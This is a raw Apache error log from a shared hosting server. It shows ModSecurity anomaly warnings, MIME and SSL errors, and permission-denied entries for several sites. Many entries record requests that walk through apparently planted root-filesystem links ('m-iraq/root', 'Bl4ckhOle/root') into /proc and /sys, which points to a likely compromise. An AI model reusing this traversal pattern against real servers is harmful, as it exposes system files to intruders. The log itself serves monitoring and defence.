[Fri Jul 17 10:28:44.949812 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:45.291010 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:45.394610 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:45.576929 2026] [security2:error] [pid 2076257:tid 2076257] [client 20.63.63.128:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "mail.bostonlanka.com"] [uri "/index.php"] [unique_id "alm2hSBQrJXNVyJFnL69hwAAABU"]
[Fri Jul 17 10:28:45.576976 2026] [security2:error] [pid 2076257:tid 2076257] [client 20.63.63.128:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "mail.bostonlanka.com"] [uri "/index.php"] [unique_id "alm2hSBQrJXNVyJFnL69hwAAABU"]
[Fri Jul 17 10:28:45.606939 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:37266] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:45.625017 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:45.870511 2026] [security2:error] [pid 2075978:tid 2075978] [client 216.244.66.250:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "alm2hGFjrl6DCT-Pyn8VOgAAAAo"]
[Fri Jul 17 10:28:46.267941 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:46.376652 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:47.013897 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:47.131258 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:47.538592 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:47.645224 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:47.748619 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:48.156744 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:48.480189 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:48.782545 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:49.327475 2026] [core:error] [pid 2076194:tid 2076194] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:56/subsystem/ttyS0/irq
[Fri Jul 17 10:28:49.430800 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:49.540371 2026] [ssl:error] [pid 2075711:tid 2075711] (70014)End of file found: [client 66.85.158.91:37474] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:49.606778 2026] [security2:error] [pid 2075723:tid 2075723] [client 216.244.66.235:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb6\\xbd\\xe0\\xb7\\x9c\\xe0\\xb6\\x9a\\xe0\\xb7\\x94-\\xe0\\xb7\\x83\\xe0\\xb6\\xaf\\xe0\\xb7\\x8a\\xe0\\xb6\\xaf\\xe0\\xb6\\xba\\xe0\\xb6\\x9a\\xe0\\xb7\\x8a-\\xe0\\xb6\\x86\\xe0\\xb7\\x80\\xe0\\xb7\\x8f-\\xe0\\xb6\\x87\\xe0\\xb6\\x9c\\xe0\\xb6\\xb8-\\xe0\\xb7\\x80\\xe0\\xb6\\xba\\xe0\\xb7\\x92\\xe0\\xb6\\xb6/"] [unique_id "alm2iUD0S6w5KyU992IOngAAAAM"]
[Fri Jul 17 10:28:49.607245 2026] [security2:error] [pid 2075723:tid 2075723] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb6\\xbd\\xe0\\xb7\\x9c\\xe0\\xb6\\x9a\\xe0\\xb7\\x94-\\xe0\\xb7\\x83\\xe0\\xb6\\xaf\\xe0\\xb7\\x8a\\xe0\\xb6\\xaf\\xe0\\xb6\\xba\\xe0\\xb6\\x9a\\xe0\\xb7\\x8a-\\xe0\\xb6\\x86\\xe0\\xb7\\x80\\xe0\\xb7\\x8f-\\xe0\\xb6\\x87\\xe0\\xb6\\x9c\\xe0\\xb6\\xb8-\\xe0\\xb7\\x80\\xe0\\xb6\\xba\\xe0\\xb7\\x92\\xe0\\xb6\\xb6/"] [unique_id "alm2iUD0S6w5KyU992IOngAAAAM"]
[Fri Jul 17 10:28:49.638090 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:49.764316 2026] [security2:error] [pid 2075723:tid 2075723] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "alm2iUD0S6w5KyU992IOngAAAAM"]
[Fri Jul 17 10:28:50.154983 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:50.288780 2026] [ssl:error] [pid 2075908:tid 2075908] (70014)End of file found: [client 66.85.158.91:37514] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:50.438611 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:50.438716 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:50.438753 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:50.438782 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:50.438807 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:50.438832 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:50.438857 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:50.438882 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:50.438908 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:50.438940 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:50.438963 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:50.438988 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:50.439010 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:51.862306 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:52.097692 2026] [core:error] [pid 2076193:tid 2076193] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/clocksource/clocksource0/subsystem/uevent
[Fri Jul 17 10:28:52.278479 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:52.689920 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:53.318618 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:53.354731 2026] [security2:error] [pid 2076258:tid 2076258] [client 57.141.18.31:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory107/node0/memory82/node0/memory43/node0/cpu3/hotplug/"] [unique_id "alm2jVwhXK3LBDRkoRBU3gAAABY"]
[Fri Jul 17 10:28:53.354777 2026] [security2:error] [pid 2076258:tid 2076258] [client 57.141.18.31:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory107/node0/memory82/node0/memory43/node0/cpu3/hotplug/"] [unique_id "alm2jVwhXK3LBDRkoRBU3gAAABY"]
[Fri Jul 17 10:28:53.930532 2026] [ssl:error] [pid 2075978:tid 2075978] (70014)End of file found: [client 66.85.158.91:53302] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:54.451868 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:54.857960 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:55.040492 2026] [security2:error] [pid 2075904:tid 2075904] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm2jzuaDdNRw9_WO14zAwAAAAg"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:28:55.040552 2026] [security2:error] [pid 2075904:tid 2075904] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm2jzuaDdNRw9_WO14zAwAAAAg"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:28:55.489902 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:55.694256 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:55.906658 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:53358] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:56.152502 2026] [core:error] [pid 2075689:tid 2075689] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty61/subsystem/ttyS2/device/driver/bind
[Fri Jul 17 10:28:56.498698 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:56.599503 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:56.704497 2026] [core:error] [pid 2075723:tid 2075723] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty20/subsystem/ttyS2/device/driver/bind
[Fri Jul 17 10:28:56.906605 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:56.907386 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/rapl/sections/"] [unique_id "alm2kB0C3r-GF3RTNAbUKAAAAAY"]
[Fri Jul 17 10:28:56.907408 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/rapl/sections/"] [unique_id "alm2kB0C3r-GF3RTNAbUKAAAAAY"]
[Fri Jul 17 10:28:57.127348 2026] [core:error] [pid 2075908:tid 2075908] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty46/subsystem/ttyS2/device/driver/bind
[Fri Jul 17 10:28:57.228315 2026] [core:error] [pid 2076258:tid 2076258] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty28/subsystem/ttyS2/device/driver/bind
[Fri Jul 17 10:28:57.434930 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.537948 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.538073 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.538117 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.538150 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.538177 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.538202 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.538229 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.538256 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.538288 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.538330 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.538363 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.538392 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.538422 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.538469 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.538513 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.538559 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.556993 2026] [security2:error] [pid 2076193:tid 2076193] [client 45.41.104.144:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nsteeleng-global": Permission denied [hostname "nsteeleng.com"] [uri "/xmlrpc.php"] [unique_id "alm2kLUVEJ3gwrjEiOQYGAAAABA"]
[Fri Jul 17 10:28:57.557020 2026] [security2:error] [pid 2076193:tid 2076193] [client 45.41.104.144:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nsteeleng-ip": Permission denied [hostname "nsteeleng.com"] [uri "/xmlrpc.php"] [unique_id "alm2kLUVEJ3gwrjEiOQYGAAAABA"]
[Fri Jul 17 10:28:57.843808 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:57.966249 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:58.054622 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:58.224964 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:58.366853 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:58.567196 2026] [security2:error] [pid 2076132:tid 2076132] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm2kgTUp7iFPeTAJ9d3MAAAAAU"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:28:58.567844 2026] [security2:error] [pid 2076132:tid 2076132] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm2kgTUp7iFPeTAJ9d3MAAAAAU"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:28:58.679062 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:59.016711 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:59.213306 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:59.315295 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:59.634961 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:59.836792 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:00.008483 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:00.486118 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:00.689896 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:01.009853 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:01.109622 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:01.424838 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:01.537922 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:01.639691 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:01.959578 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:02.484766 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:02.584824 2026] [core:error] [pid 2076132:tid 2076132] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/module/hid_ntrig/drivers/hid:ntrig/uevent
[Fri Jul 17 10:29:02.697760 2026] [security2:error] [pid 2076193:tid 2076193] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/sys/kernel/pty/max"] [unique_id "alm2lrUVEJ3gwrjEiOQYHAAAABA"]
[Fri Jul 17 10:29:02.697802 2026] [security2:error] [pid 2076193:tid 2076193] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/sys/kernel/pty/max"] [unique_id "alm2lrUVEJ3gwrjEiOQYHAAAABA"]
[Fri Jul 17 10:29:02.812240 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:03.655749 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:04.263977 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:04.596240 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:04.689884 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:04.897462 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:05.406561 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:05.723691 2026] [security2:error] [pid 2075901:tid 2075901] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/tty51/power/control"] [unique_id "alm2mWFDQ6dUmh6WfoaFnwAAAAc"]
[Fri Jul 17 10:29:05.723732 2026] [security2:error] [pid 2075901:tid 2075901] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/tty51/power/control"] [unique_id "alm2mWFDQ6dUmh6WfoaFnwAAAAc"]
[Fri Jul 17 10:29:05.927782 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:06.341529 2026] [ssl:error] [pid 2075689:tid 2075689] (70014)End of file found: [client 66.85.158.91:33394] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:06.545939 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:06.975321 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:07.517198 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:07.588713 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:07.611220 2026] [core:error] [pid 2075692:tid 2075692] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/dev/char/4:66/uartclk
[Fri Jul 17 10:29:07.612655 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:07.805344 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:33498] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:08.131356 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:08.539497 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:08.539941 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/alt-php56-bcmath/"] [unique_id "alm2nPVsLAz87UqRdDoYIwAAAAA"]
[Fri Jul 17 10:29:08.539963 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/alt-php56-bcmath/"] [unique_id "alm2nPVsLAz87UqRdDoYIwAAAAA"]
[Fri Jul 17 10:29:08.656022 2026] [security2:error] [pid 2075705:tid 2075705] [client 61.245.169.203:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/rs-plugin/js/extensions/revolution.extension.video.min.js"] [unique_id "alm2nPVsLAz87UqRdDoYJAAAAAA"], referer: https://www.nccp.health.gov.lk/en/treatmentCenter
